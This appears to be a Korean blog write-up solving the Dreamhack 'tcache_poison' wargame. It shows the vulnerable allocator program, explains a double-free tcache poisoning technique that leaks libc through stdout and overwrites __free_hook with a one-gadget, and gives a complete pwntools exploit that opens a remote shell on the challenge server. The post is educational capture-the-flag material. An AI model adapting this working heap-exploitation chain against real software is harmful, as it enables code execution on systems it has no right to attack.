문제 코드
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
void *chunk = NULL;
unsigned int size;
int idx;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while (1) {
printf("1. Allocate\n");
printf("2. Free\n");
printf("3. Print\n");
printf("4. Edit\n");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("Size: ");
scanf("%d", &size);
chunk = malloc(size);
printf("Content: ");
read(0, chunk, size - 1);
break;
case 2:
free(chunk);
break;
case 3:
printf("Content: %s", chunk);
break;
case 4:
printf("Edit chunk: ");
read(0, chunk, size - 1);
break;
default:
break;
}
}
return 0;
}
문제 설명
먼저 tcache poisoning을 이용하는 문제이므로, double free bug를 일으켜서 free list에 중복된 청크를 생성하고 재할당하여 fk값을 원하는 값으로 조작 후
원하는 주소에 청크를 할당하는 방식이다
코드 분석
코드 내에서 원하는 크기의 청크를 할당, 해제, 쓰기, 출력 모두 가능하므로 double free bug를 이용해 임의 주소 쓰기와 읽기가 모두 가능하다
stdout
stdout을 명시적으로 코드에서 사용하게 되면 bss영역에 포인터 변수로서 저장되고, 이 변수는 libc 영역의 _IO_2_1_stdout_의 주소값을 가리키게 된다
따라서 stdout에 청크를 할당하고 이를 읽게 된다면, _IO_2_1_stdout의 주소값을 읽을 수 있다
즉, libc내 임의의 주소를 읽을 수 있다
libc 릭
우선 double free bug를 이용해서 stdout에 청크를 할당한 후 이 값을 읽는다
이때, stdout이 가리키고 있는 _IO_2_1_stdout_의 주소값이 변질 되면 안 되므로 해당 주소의 첫 번째 값을 덮어준다
stdout = e.symbols['stdout']
alloc(48, b'dreamhack') # 1번쨰 청크 할당
free() # 1번째 청크 해제
edit(b'B'*8 + b'\x00') # DFB검사 우회
free() # DFB 발생
alloc(48, p64(stdout)) # 1번째 청크 fk에 stdout 주소 쓰기 (임의 주소 쓰기)
alloc(48, b'B'*8) # 1번째 청크 재할당
_io_2_1_stdout_lsb = p64(libc.symbols['_IO_2_1_stdout_'])[0:1] # 해당 주소의 첫 번째 주소 릭
alloc(48, _io_2_1_stdout_lsb) # stdout주소에 청크 할당
print_chunk()
p.recvuntil(b'Content: ')
libc_base = u64(p.recvn(6) + b'\x00'*2) - libc.symbols['_IO_2_1_stdout_']
og = libc_base + 0x4f432
free_hook = libc_base + libc.symbols['__free_hook']
hook_overwrite
alloc(64, b'dreahack')
free()
edit(b'B'*8 + b'\x00')
free()
alloc(64, p64(free_hook))
alloc(64, b'B'*8)
alloc(64, p64(og))
free() # get_shell
전체 exploit
from pwn import*
p = remote('host3.dreamhack.games', 16000)
e = ELF('./tcache_poison')
libc = ELF('./libc-2.27.so')
def alloc(size, data):
p.sendlineafter(b'Edit\n', str(1).encode())
p.sendlineafter(b'Size: ', str(size).encode())
p.sendafter(b'Content: ', data)
def free():
p.sendlineafter(b'Edit\n', str(2).encode())
def print_chunk():
p.sendlineafter(b'Edit\n', str(3).encode())
def edit(data):
p.sendlineafter(b'Edit\n', str(4).encode())
p.sendafter(b'Edit chunk: ', data)
stdout = e.symbols['stdout']
alloc(48, b'dreamhack')
free()
edit(b'B'*8 + b'\x00')
free()
alloc(48, p64(stdout))
alloc(48, b'B'*8)
_io_2_1_stdout_lsb = p64(libc.symbols['_IO_2_1_stdout_'])[0:1]
alloc(48, _io_2_1_stdout_lsb)
print_chunk()
p.recvuntil(b'Content: ')
libc_base = u64(p.recvn(6) + b'\x00'*2) - libc.symbols['_IO_2_1_stdout_']
og = libc_base + 0x4f432
free_hook = libc_base + libc.symbols['__free_hook']
alloc(64, b'dreahack')
free()
edit(b'B'*8 + b'\x00')
free()
alloc(64, p64(free_hook))
alloc(64, b'B'*8)
alloc(64, p64(og))
free()
p.interactive()
'System Hacking' 카테고리의 다른 글
[Dreamhack] tcachee_dup2 풀이 - 티스토리 (0) | 2023.08.21 |
---|---|
[Dreamhack] tcache dup 풀이 - 티스토리 (0) | 2023.08.17 |
[Dreamhack] uaf_overwrite 풀이 - 티스토리 (0) | 2023.08.08 |
[Dreamhack] basic_exploitation_003 풀이 - 티스토리 (0) | 2023.08.03 |
[Dreamhack] basic_exploitation_002 풀이 - 티스토리 (0) | 2023.08.02 |